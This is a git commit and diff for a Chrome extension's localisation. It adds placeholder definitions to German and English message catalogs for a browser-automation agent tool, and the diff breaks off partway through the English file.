make extension i18n load and stop clobbering live text - Define placeholders for the 52 copy_* messages that used $NAME$-style tokens without one. Chrome rejects such catalogs ("Variable $NAME$ used but not defined."), which blocked the extension from loading. The catalog gate now fails on any undefined placeholder. - Move the locale boot on the control panel, unlock, and microphone pages into ui/ui-locale-page.js. MV3's default CSP blocked the inline scripts, so the language select stayed empty and static markup never translated. - Expose _locales/*/messages.json as web-accessible so the content-script overlay can load catalogs; content scripts load only the active locale and English, fetching others on a language switch. - Skip the chrome.i18n.getMessage fallback for named substitutions, which Chrome drops ("Actions: " instead of "Actions: 5"). - Restore the denial reason in the blocked-origin consent hint. - apply() now only re-translates static text and attributes that still show a catalog message, and live nodes whose text it last wrote. Counters, provider headings, and status lines set by page scripts are left alone, and markExact clears stale live keys. Co-Authored-By: Claude Opus 5.5 (1M context) --- extension/_locales/de/messages.json | 373 +++++++++++++++--- extension/_locales/en/messages.json | 373 +++++++++++++++--- extension/_locales/es/messages.json | 373 +++++++++++++++--- extension/_locales/ja/messages.json | 373 +++++++++++++++--- extension/_locales/ko/messages.json | 373 +++++++++++++++--- extension/_locales/zh_CN/messages.json | 373 +++++++++++++++--- extension/_locales/zh_TW/messages.json | 373 +++++++++++++++--- extension/manifest.json | 1 + extension/ui/control_panel.html | 2 +- extension/ui/microphone-permission.html | 2 +- extension/ui/options.js | 2 +- extension/ui/ui-locale-page.js | 19 + extension/ui/unlock.html | 2 +- extension/utils/ui-locale.js | 118 ++++-- scripts/verify-extension-i18n.mjs | 26 +- tests/extension-ui-locale.test.js | 184 ++++++++- .../en/messages.json | 8 + .../es/messages.json | 8 + 18 files changed, 2582 insertions(+), 401 deletions(-) create mode 100644 extension/ui/ui-locale-page.js create mode 100644 tests/fixtures/extension-i18n/bad-undefined-placeholder/en/messages.json create mode 100644 tests/fixtures/extension-i18n/bad-undefined-placeholder/es/messages.json diff --git a/extension/_locales/de/messages.json b/extension/_locales/de/messages.json index a4ec846f6..ea2cb43e7 100644 --- a/extension/_locales/de/messages.json +++ b/extension/_locales/de/messages.json @@ -2171,10 +2171,20 @@ "message": "Es kann keine Dateien bearbeiten, Shell-Befehle ausführen oder beliebige URLs abrufen." }, "copy_65974683e8": { - "message": "$NAME$ für künftige Läufe vertrauen" + "message": "$NAME$ für künftige Läufe vertrauen", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_a9780e01fc": { - "message": "Dadurch entfällt die Bestätigung für künftige $NAME$-Läufe in diesem Browser." + "message": "Dadurch entfällt die Bestätigung für künftige $NAME$-Läufe in diesem Browser.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_88cad98751": { "message": "Die Bestätigungseinstellung konnte nicht gespeichert werden. Erneut versuchen oder ohne Vertrauen fortfahren." @@ -2183,7 +2193,12 @@ "message": "Der Agent konnte nicht gestartet werden. Berechtigung prüfen und erneut versuchen." }, "copy_02df469915": { - "message": "$NAME$ erlauben und starten" + "message": "$NAME$ erlauben und starten", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_63b90cc26c": { "message": "Der native Helfer ist mit einer anderen Erweiterung gekoppelt" @@ -2204,7 +2219,12 @@ "message": "Der ausgewählte Anbieter unterstützt keine Agenten, die Browser-Tabs steuern. Wähle einen unterstützten Agent-Anbieter und versuche diese Nachricht erneut." }, "copy_664ba782e6": { - "message": "Melde dich lokal bei $NAME$ an und versuche diese Nachricht erneut." + "message": "Melde dich lokal bei $NAME$ an und versuche diese Nachricht erneut.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_1c5510dd75": { "message": "Verbindung testen kann trotzdem gelingen, weil dadurch kein delegierter Lauf startet. Nachricht erneut versuchen oder die Anbieter-Einrichtung prüfen." @@ -2246,7 +2266,12 @@ "message": "Installiere oder aktualisiere den nativen FSB-Helfer und versuche es erneut. FSB verbindet diesen Browser automatisch." }, "copy_87db7a3927": { - "message": "FSB konnte diesen Tab nicht an $NAME$ zurückgeben, daher endete der Lauf und der Tab bleibt unter deiner Kontrolle. Starte eine neue Aufgabe, wenn du bereit bist." + "message": "FSB konnte diesen Tab nicht an $NAME$ zurückgeben, daher endete der Lauf und der Tab bleibt unter deiner Kontrolle. Starte eine neue Aufgabe, wenn du bereit bist.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_d1708202db": { "message": "Nachricht erneut versuchen" @@ -2270,19 +2295,39 @@ "message": "Schließe die ausstehende Agent-Bereinigung im ursprünglichen Tab und Gespräch ab, bevor du eine andere Aufgabe startest. Deine Nachricht wurde behalten." }, "copy_b3715a6900": { - "message": "FSB konnte diesen Tab nicht an $NAME$ zurückgeben, daher endete der Lauf und der Tab bleibt unter deiner Kontrolle." + "message": "FSB konnte diesen Tab nicht an $NAME$ zurückgeben, daher endete der Lauf und der Tab bleibt unter deiner Kontrolle.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_47220517c7": { "message": "Der lokale Helfer von FSB ist nicht installiert. Ausführen: npx -y fsb-mcp-server@latest install --native-host" }, "copy_d0b5d103f7": { - "message": "Erkundung auf $DOMAIN$ wird gestartet..." + "message": "Erkundung auf $DOMAIN$ wird gestartet...", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_7654da628e": { - "message": "Erkundung konnte nicht gestartet werden: $ERROR$" + "message": "Erkundung konnte nicht gestartet werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ca79bcd4d7": { - "message": "Erkundung abgeschlossen! Sitemap für $DOMAIN$ gespeichert." + "message": "Erkundung abgeschlossen! Sitemap für $DOMAIN$ gespeichert.", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_0f654a723b": { "message": "Die Automatisierung wurde abgeschlossen, aber es wurde keine Zusammenfassung bereitgestellt. Versuche es erneut, wenn die Aufgabe nicht wie erwartet abgeschlossen wurde." @@ -2324,22 +2369,47 @@ "message": "Wiedergabeschritt wird übersprungen..." }, "copy_2d7848007e": { - "message": "Wiedergabe-Entscheidung konnte nicht angewendet werden: $ERROR$" + "message": "Wiedergabe-Entscheidung konnte nicht angewendet werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d3db7357d": { "message": "Blockiert · geschwärzte Eingabe" }, "copy_4916a64c38": { - "message": "Ein MCP-Client hat diese Wiedergabe in $COUNT$ neuem Tab angefordert." + "message": "Ein MCP-Client hat diese Wiedergabe in $COUNT$ neuem Tab angefordert.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_c15b9f2acd": { - "message": "Ein MCP-Client hat diese Wiedergabe in $COUNT$ neuen Tabs angefordert." + "message": "Ein MCP-Client hat diese Wiedergabe in $COUNT$ neuen Tabs angefordert.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_552d4905b4": { - "message": "Eine Freigabe gilt nur für das genau geprüfte Manifest, einschließlich $COUNT$ Schritts mit großer Auswirkung." + "message": "Eine Freigabe gilt nur für das genau geprüfte Manifest, einschließlich $COUNT$ Schritts mit großer Auswirkung.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c946b4834": { - "message": "Eine Freigabe gilt nur für das genau geprüfte Manifest, einschließlich $COUNT$ Schritten mit großer Auswirkung." + "message": "Eine Freigabe gilt nur für das genau geprüfte Manifest, einschließlich $COUNT$ Schritten mit großer Auswirkung.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_9240c9c130": { "message": "Eine Freigabe gilt nur für das genau geprüfte Manifest." @@ -2351,28 +2421,61 @@ "message": "Wiedergabe konnte nicht gestartet werden" }, "copy_1a0ef83852": { - "message": "Angeforderte Wiedergabe konnte nicht gestartet werden: $ERROR$" + "message": "Angeforderte Wiedergabe konnte nicht gestartet werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_98db9dc8c5": { "message": "Abbruch der Wiedergabe fehlgeschlagen" }, "copy_4ed0e5ecba": { - "message": "Wiedergabeanforderung konnte nicht abgebrochen werden: $ERROR$" + "message": "Wiedergabeanforderung konnte nicht abgebrochen werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d9f4051eb": { "message": "Wiedergabeprüfung fehlgeschlagen" }, "copy_fc1f569fa7": { - "message": "Diese Aufnahme ist nur zur Ansicht, weil nur die letzten $LATEST$ von $TOTAL$ aufgezeichneten Aufrufen verfügbar sind. Früherer Browserzustand lässt sich nicht sicher rekonstruieren." + "message": "Diese Aufnahme ist nur zur Ansicht, weil nur die letzten $LATEST$ von $TOTAL$ aufgezeichneten Aufrufen verfügbar sind. Früherer Browserzustand lässt sich nicht sicher rekonstruieren.", + "placeholders": { + "latest": { + "content": "$1" + }, + "total": { + "content": "$2" + } + } }, "copy_a2f62124e7": { - "message": "Diese geprüfte Zeitlinie in $COUNT$ neuem Tab wiedergeben?" + "message": "Diese geprüfte Zeitlinie in $COUNT$ neuem Tab wiedergeben?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c55f6bc6e": { - "message": "Diese geprüfte Zeitlinie in $COUNT$ neuen Tabs wiedergeben?" + "message": "Diese geprüfte Zeitlinie in $COUNT$ neuen Tabs wiedergeben?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_dea4fcd3a0": { - "message": "Diese eine Freigabe gilt für das genau signierte Manifest: $DETAIL$." + "message": "Diese eine Freigabe gilt für das genau signierte Manifest: $DETAIL$.", + "placeholders": { + "detail": { + "content": "$1" + } + } }, "copy_82e80a0531": { "message": "Die Zeitlinie enthält nur Lese- und Navigationsschritte." @@ -2384,7 +2487,12 @@ "message": "Wiedergabe konnte nicht gestartet werden." }, "copy_816797656b": { - "message": "Wiedergabe konnte nicht gestartet werden: $ERROR$" + "message": "Wiedergabe konnte nicht gestartet werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6a7fdeaea6": { "message": "Sitzungsverlauf konnte nicht gelöscht werden" @@ -2396,7 +2504,12 @@ "message": "Aufnahme wartet auf Prüfung" }, "copy_712090559d": { - "message": "Sitzung konnte nicht geladen werden: $ERROR$" + "message": "Sitzung konnte nicht geladen werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c249c35164": { "message": "Gesamten Sitzungsverlauf löschen? Das kann nicht rückgängig gemacht werden." @@ -2408,7 +2521,12 @@ "message": "Aufgabe teilweise abgeschlossen" }, "copy_2786eaaa0e": { - "message": "Auf empfohlen zurücksetzen ($COUNT$)" + "message": "Auf empfohlen zurücksetzen ($COUNT$)", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_03cea39622": { "message": "Gib den Modellnamen unten ein" @@ -2525,7 +2643,12 @@ "message": "Kein API-Schlüssel" }, "copy_ec6c5d7132": { - "message": "Konfiguriere deinen $NAME$-API-Schlüssel, um zu beginnen" + "message": "Konfiguriere deinen $NAME$-API-Schlüssel, um zu beginnen", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_59b831ea1c": { "message": "API-Schlüssel ist erforderlich" @@ -2543,13 +2666,23 @@ "message": "Installiert und kompatibel: Grok Build 1.0.4. Isolation, ACP und zwischengespeicherte OAuth-Prüfungen sind ohne Prompt erfolgreich." }, "copy_aab517a207": { - "message": "Kompatibilitätsprüfung fehlgeschlagen: $ERROR$" + "message": "Kompatibilitätsprüfung fehlgeschlagen: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b33e732cc1": { "message": "Protokolle erfolgreich exportiert" }, "copy_11eb704622": { - "message": "Einwilligungsmodus für $ORIGIN$" + "message": "Einwilligungsmodus für $ORIGIN$", + "placeholders": { + "origin": { + "content": "$1" + } + } }, "copy_7655b9531e": { "message": "Prüfprotokoll nicht verfügbar" @@ -2603,7 +2736,12 @@ "message": "Sitzungsereignisse konnten nicht geladen werden" }, "copy_952bb703c9": { - "message": "Weitere Sitzungsereignisse konnten nicht geladen werden: $ERROR$" + "message": "Weitere Sitzungsereignisse konnten nicht geladen werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ce10cc25bb": { "message": "Keine Sitzung ausgewählt" @@ -2657,7 +2795,12 @@ "message": "Sitzung konnte nicht exportiert werden" }, "copy_30784a43b1": { - "message": "Fehler beim Entsperren des Tresors: $ERROR$" + "message": "Fehler beim Entsperren des Tresors: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b621934f80": { "message": "PINs stimmen nicht überein" @@ -2669,13 +2812,23 @@ "message": "Tresor konnte nicht erstellt werden" }, "copy_be90a4301c": { - "message": "Fehler beim Erstellen des Tresors: $ERROR$" + "message": "Fehler beim Erstellen des Tresors: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_344e10f557": { "message": "Gib deinen PIN ein" }, "copy_d8689df745": { - "message": "Fehler beim Sperren des Tresors: $ERROR$" + "message": "Fehler beim Sperren des Tresors: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_025f3d105c": { "message": "Domäne ist erforderlich" @@ -2684,25 +2837,55 @@ "message": "Benutzername oder Passwort ist erforderlich" }, "copy_9afaa0cd06": { - "message": "Speichern fehlgeschlagen: $ERROR$" + "message": "Speichern fehlgeschlagen: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_161d5eb702": { - "message": "Fehler beim Speichern der Anmeldedaten: $ERROR$" + "message": "Fehler beim Speichern der Anmeldedaten: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_2be1559933": { - "message": "Gespeicherte Anmeldedaten für „$DOMAIN$“ löschen? Das kann nicht rückgängig gemacht werden." + "message": "Gespeicherte Anmeldedaten für „$DOMAIN$“ löschen? Das kann nicht rückgängig gemacht werden.", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_742e696153": { - "message": "Löschen fehlgeschlagen: $ERROR$" + "message": "Löschen fehlgeschlagen: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f91e85ab50": { - "message": "Fehler beim Löschen der Anmeldedaten: $ERROR$" + "message": "Fehler beim Löschen der Anmeldedaten: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6ddb0ed270": { "message": "Zahlungsmethoden entsperrt" }, "copy_c75e2cc897": { - "message": "Fehler beim Entsperren der Zahlungsmethoden: $ERROR$" + "message": "Fehler beim Entsperren der Zahlungsmethoden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b69b2dc301": { "message": "Zahlungsmethoden gesperrt" @@ -2711,7 +2894,12 @@ "message": "Zahlungsmethoden konnten nicht gesperrt werden" }, "copy_af2ea4b480": { - "message": "Fehler beim Sperren der Zahlungsmethoden: $ERROR$" + "message": "Fehler beim Sperren der Zahlungsmethoden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_38c2cc72e3": { "message": "Bitte gib deinen numerischen PIN ein" @@ -2735,7 +2923,12 @@ "message": "Zahlungsmethode gespeichert" }, "copy_58adb591be": { - "message": "Fehler beim Speichern der Zahlungsmethode: $ERROR$" + "message": "Fehler beim Speichern der Zahlungsmethode: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f03b63954b": { "message": "Diese Zahlungsmethode löschen? Das kann nicht rückgängig gemacht werden." @@ -2744,7 +2937,12 @@ "message": "Zahlungsmethode gelöscht" }, "copy_2a0de92af3": { - "message": "Fehler beim Löschen der Zahlungsmethode: $ERROR$" + "message": "Fehler beim Löschen der Zahlungsmethode: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_4f15f65f6e": { "message": "Bitte gib eine URL zum Erkunden ein" @@ -2753,13 +2951,23 @@ "message": "Ungültiges URL-Format" }, "copy_a6215dba6d": { - "message": "Explorer konnte nicht gestartet werden: $ERROR$" + "message": "Explorer konnte nicht gestartet werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_284429f90b": { "message": "Alle Crawler gestoppt" }, "copy_aee9e10eae": { - "message": "Crawl für $DOMAIN$ fehlgeschlagen" + "message": "Crawl für $DOMAIN$ fehlgeschlagen", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_d604ffed30": { "message": "Forschungsdaten nicht gefunden" @@ -2792,22 +3000,58 @@ "message": "Sitemap wird mit KI verfeinert..." }, "copy_00834dcdc3": { - "message": "Sitemap für $DOMAIN$: $PAGES$ Seiten, $FORMS$ Formulare (mit KI verbessert)" + "message": "Sitemap für $DOMAIN$: $PAGES$ Seiten, $FORMS$ Formulare (mit KI verbessert)", + "placeholders": { + "domain": { + "content": "$1" + }, + "pages": { + "content": "$2" + }, + "forms": { + "content": "$3" + } + } }, "copy_a249e56325": { - "message": "Sitemap für $DOMAIN$ gespeichert und verfeinert" + "message": "Sitemap für $DOMAIN$ gespeichert und verfeinert", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_237923127b": { - "message": "Sitemap für $DOMAIN$ gespeichert (Verfeinerung lieferte keine Daten)" + "message": "Sitemap für $DOMAIN$ gespeichert (Verfeinerung lieferte keine Daten)", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_35d9e0c46c": { - "message": "Sitemap gespeichert (KI-Verfeinerung fehlgeschlagen: $ERROR$)" + "message": "Sitemap gespeichert (KI-Verfeinerung fehlgeschlagen: $ERROR$)", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c8c83ca919": { - "message": "Sitemap für $DOMAIN$ im Speicher gespeichert" + "message": "Sitemap für $DOMAIN$ im Speicher gespeichert", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_c32ea6d22f": { - "message": "Speichern im Speicher fehlgeschlagen: $ERROR$" + "message": "Speichern im Speicher fehlgeschlagen: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_963ba004ea": { "message": "Möchtest du wirklich ALLE Forschungsergebnisse löschen? Das kann nicht rückgängig gemacht werden." @@ -2828,7 +3072,12 @@ "message": "Hash-Schlüssel konnte nicht erzeugt werden" }, "copy_52b3b70484": { - "message": "Verbindung zum Server nicht möglich: $ERROR$" + "message": "Verbindung zum Server nicht möglich: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cbdbc53db1": { "message": "Kein Hash-Schlüssel zum Kopieren" @@ -2858,10 +3107,20 @@ "message": "Fehlerhafte Kopplungsantwort" }, "copy_30fa7c27e5": { - "message": "Kopplungscode konnte nicht erzeugt werden: $ERROR$" + "message": "Kopplungscode konnte nicht erzeugt werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_acce51c1d3": { - "message": "Hash-Schlüssel konnte nicht registriert werden: $ERROR$" + "message": "Hash-Schlüssel konnte nicht registriert werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cb4c956be2": { "message": "Diesen Speicher löschen?" @@ -2891,7 +3150,12 @@ "message": "Sitemap erfolgreich verfeinert" }, "copy_a266f3a3ce": { - "message": "KI-Verfeinerung fehlgeschlagen: $ERROR$" + "message": "KI-Verfeinerung fehlgeschlagen: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0b0bdbabab": { "message": "ALLE Speicher löschen? Das kann nicht rückgängig gemacht werden." @@ -2900,7 +3164,12 @@ "message": "Alle Speicher gelöscht" }, "copy_e158cd5a5e": { - "message": "Speicher konnten nicht gelöscht werden: $ERROR$" + "message": "Speicher konnten nicht gelöscht werden: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_21ce69d58b": { "message": "Fernsteuerung aktiv" diff --git a/extension/_locales/en/messages.json b/extension/_locales/en/messages.json index 925dcf2a1..f54d5f07e 100644 --- a/extension/_locales/en/messages.json +++ b/extension/_locales/en/messages.json @@ -2171,10 +2171,20 @@ "message": "It cannot edit files, run shell commands, or fetch arbitrary URLs." }, "copy_65974683e8": { - "message": "Trust $NAME$ for future runs" + "message": "Trust $NAME$ for future runs", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_a9780e01fc": { - "message": "This turns off confirmation for future $NAME$ runs on this browser." + "message": "This turns off confirmation for future $NAME$ runs on this browser.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_88cad98751": { "message": "Confirmation preference could not be saved. Try again or continue without trust." @@ -2183,7 +2193,12 @@ "message": "The agent could not be started. Review the permission and try again." }, "copy_02df469915": { - "message": "Allow & start $NAME$" + "message": "Allow & start $NAME$", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_63b90cc26c": { "message": "Native helper is paired with another extension" @@ -2204,7 +2219,12 @@ "message": "The selected provider does not support agents that control browser tabs. Choose a supported agent provider, then try this message again." }, "copy_664ba782e6": { - "message": "Sign in to $NAME$ locally, then try this message again." + "message": "Sign in to $NAME$ locally, then try this message again.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_1c5510dd75": { "message": "Test Connection may still succeed because it does not start a delegated run. Retry the message or review provider setup." @@ -2246,7 +2266,12 @@ "message": "Install or update the FSB native helper, then try again. FSB will connect this browser automatically." }, "copy_87db7a3927": { - "message": "FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control. Start a new task when you are ready." + "message": "FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control. Start a new task when you are ready.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_d1708202db": { "message": "Try message again" @@ -2270,19 +2295,39 @@ "message": "Finish the pending agent cleanup in its original tab and conversation before starting another task. Your message was kept." }, "copy_b3715a6900": { - "message": "FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control." + "message": "FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_47220517c7": { "message": "FSB’s local helper is not installed. Run: npx -y fsb-mcp-server@latest install --native-host" }, "copy_d0b5d103f7": { - "message": "Starting reconnaissance on $DOMAIN$..." + "message": "Starting reconnaissance on $DOMAIN$...", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_7654da628e": { - "message": "Reconnaissance failed to start: $ERROR$" + "message": "Reconnaissance failed to start: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ca79bcd4d7": { - "message": "Reconnaissance complete! Site map saved for $DOMAIN$." + "message": "Reconnaissance complete! Site map saved for $DOMAIN$.", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_0f654a723b": { "message": "The automation completed but no summary was provided. Please try again if the task wasn't completed as expected." @@ -2324,22 +2369,47 @@ "message": "Skipping replay step..." }, "copy_2d7848007e": { - "message": "Could not apply replay decision: $ERROR$" + "message": "Could not apply replay decision: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d3db7357d": { "message": "Blocked · redacted input" }, "copy_4916a64c38": { - "message": "An MCP client requested this replay in $COUNT$ fresh tab." + "message": "An MCP client requested this replay in $COUNT$ fresh tab.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_c15b9f2acd": { - "message": "An MCP client requested this replay in $COUNT$ fresh tabs." + "message": "An MCP client requested this replay in $COUNT$ fresh tabs.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_552d4905b4": { - "message": "One approval covers only the exact verified manifest, including $COUNT$ high-impact step." + "message": "One approval covers only the exact verified manifest, including $COUNT$ high-impact step.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c946b4834": { - "message": "One approval covers only the exact verified manifest, including $COUNT$ high-impact steps." + "message": "One approval covers only the exact verified manifest, including $COUNT$ high-impact steps.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_9240c9c130": { "message": "One approval covers only the exact verified manifest." @@ -2351,28 +2421,61 @@ "message": "Failed to start replay" }, "copy_1a0ef83852": { - "message": "Failed to start requested replay: $ERROR$" + "message": "Failed to start requested replay: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_98db9dc8c5": { "message": "Replay cancellation failed" }, "copy_4ed0e5ecba": { - "message": "Could not cancel replay request: $ERROR$" + "message": "Could not cancel replay request: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d9f4051eb": { "message": "Replay verification failed" }, "copy_fc1f569fa7": { - "message": "This recording is inspect-only because only the latest $LATEST$ of $TOTAL$ recorded calls are available. Earlier browser state cannot be reconstructed safely." + "message": "This recording is inspect-only because only the latest $LATEST$ of $TOTAL$ recorded calls are available. Earlier browser state cannot be reconstructed safely.", + "placeholders": { + "latest": { + "content": "$1" + }, + "total": { + "content": "$2" + } + } }, "copy_a2f62124e7": { - "message": "Replay this verified timeline in $COUNT$ fresh tab?" + "message": "Replay this verified timeline in $COUNT$ fresh tab?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c55f6bc6e": { - "message": "Replay this verified timeline in $COUNT$ fresh tabs?" + "message": "Replay this verified timeline in $COUNT$ fresh tabs?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_dea4fcd3a0": { - "message": "This one approval covers the exact signed manifest: $DETAIL$." + "message": "This one approval covers the exact signed manifest: $DETAIL$.", + "placeholders": { + "detail": { + "content": "$1" + } + } }, "copy_82e80a0531": { "message": "The timeline contains only read and navigation steps." @@ -2384,7 +2487,12 @@ "message": "Failed to start replay." }, "copy_816797656b": { - "message": "Failed to start replay: $ERROR$" + "message": "Failed to start replay: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6a7fdeaea6": { "message": "Failed to delete session history" @@ -2396,7 +2504,12 @@ "message": "Capture awaiting verification" }, "copy_712090559d": { - "message": "Failed to load session: $ERROR$" + "message": "Failed to load session: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c249c35164": { "message": "Delete all session history? This cannot be undone." @@ -2408,7 +2521,12 @@ "message": "Task partially completed" }, "copy_2786eaaa0e": { - "message": "Reset to recommended ($COUNT$)" + "message": "Reset to recommended ($COUNT$)", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_03cea39622": { "message": "Enter your model name below" @@ -2525,7 +2643,12 @@ "message": "No API Key" }, "copy_ec6c5d7132": { - "message": "Configure your $NAME$ API key to get started" + "message": "Configure your $NAME$ API key to get started", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_59b831ea1c": { "message": "API key is required" @@ -2543,13 +2666,23 @@ "message": "Installed and compatible: Grok Build 1.0.4. Isolation, ACP, and cached OAuth checks passed without sending a prompt." }, "copy_aab517a207": { - "message": "Compatibility check failed: $ERROR$" + "message": "Compatibility check failed: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b33e732cc1": { "message": "Logs exported successfully" }, "copy_11eb704622": { - "message": "Consent mode for $ORIGIN$" + "message": "Consent mode for $ORIGIN$", + "placeholders": { + "origin": { + "content": "$1" + } + } }, "copy_7655b9531e": { "message": "Audit log unavailable" @@ -2603,7 +2736,12 @@ "message": "Session events could not be loaded" }, "copy_952bb703c9": { - "message": "Failed to load more session events: $ERROR$" + "message": "Failed to load more session events: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ce10cc25bb": { "message": "No session selected" @@ -2657,7 +2795,12 @@ "message": "Failed to export session" }, "copy_30784a43b1": { - "message": "Error unlocking vault: $ERROR$" + "message": "Error unlocking vault: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b621934f80": { "message": "PINs do not match" @@ -2669,13 +2812,23 @@ "message": "Failed to create vault" }, "copy_be90a4301c": { - "message": "Error creating vault: $ERROR$" + "message": "Error creating vault: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_344e10f557": { "message": "Enter your PIN" }, "copy_d8689df745": { - "message": "Error locking vault: $ERROR$" + "message": "Error locking vault: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_025f3d105c": { "message": "Domain is required" @@ -2684,25 +2837,55 @@ "message": "Username or password is required" }, "copy_9afaa0cd06": { - "message": "Failed to save: $ERROR$" + "message": "Failed to save: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_161d5eb702": { - "message": "Error saving credential: $ERROR$" + "message": "Error saving credential: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_2be1559933": { - "message": "Delete saved credential for \"$DOMAIN$\"? This cannot be undone." + "message": "Delete saved credential for \"$DOMAIN$\"? This cannot be undone.", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_742e696153": { - "message": "Failed to delete: $ERROR$" + "message": "Failed to delete: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f91e85ab50": { - "message": "Error deleting credential: $ERROR$" + "message": "Error deleting credential: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6ddb0ed270": { "message": "Payment methods unlocked" }, "copy_c75e2cc897": { - "message": "Error unlocking payment methods: $ERROR$" + "message": "Error unlocking payment methods: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b69b2dc301": { "message": "Payment methods locked" @@ -2711,7 +2894,12 @@ "message": "Failed to lock payment methods" }, "copy_af2ea4b480": { - "message": "Error locking payment methods: $ERROR$" + "message": "Error locking payment methods: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_38c2cc72e3": { "message": "Please enter your numeric PIN" @@ -2735,7 +2923,12 @@ "message": "Payment method saved" }, "copy_58adb591be": { - "message": "Error saving payment method: $ERROR$" + "message": "Error saving payment method: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f03b63954b": { "message": "Delete this payment method? This cannot be undone." @@ -2744,7 +2937,12 @@ "message": "Payment method deleted" }, "copy_2a0de92af3": { - "message": "Error deleting payment method: $ERROR$" + "message": "Error deleting payment method: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_4f15f65f6e": { "message": 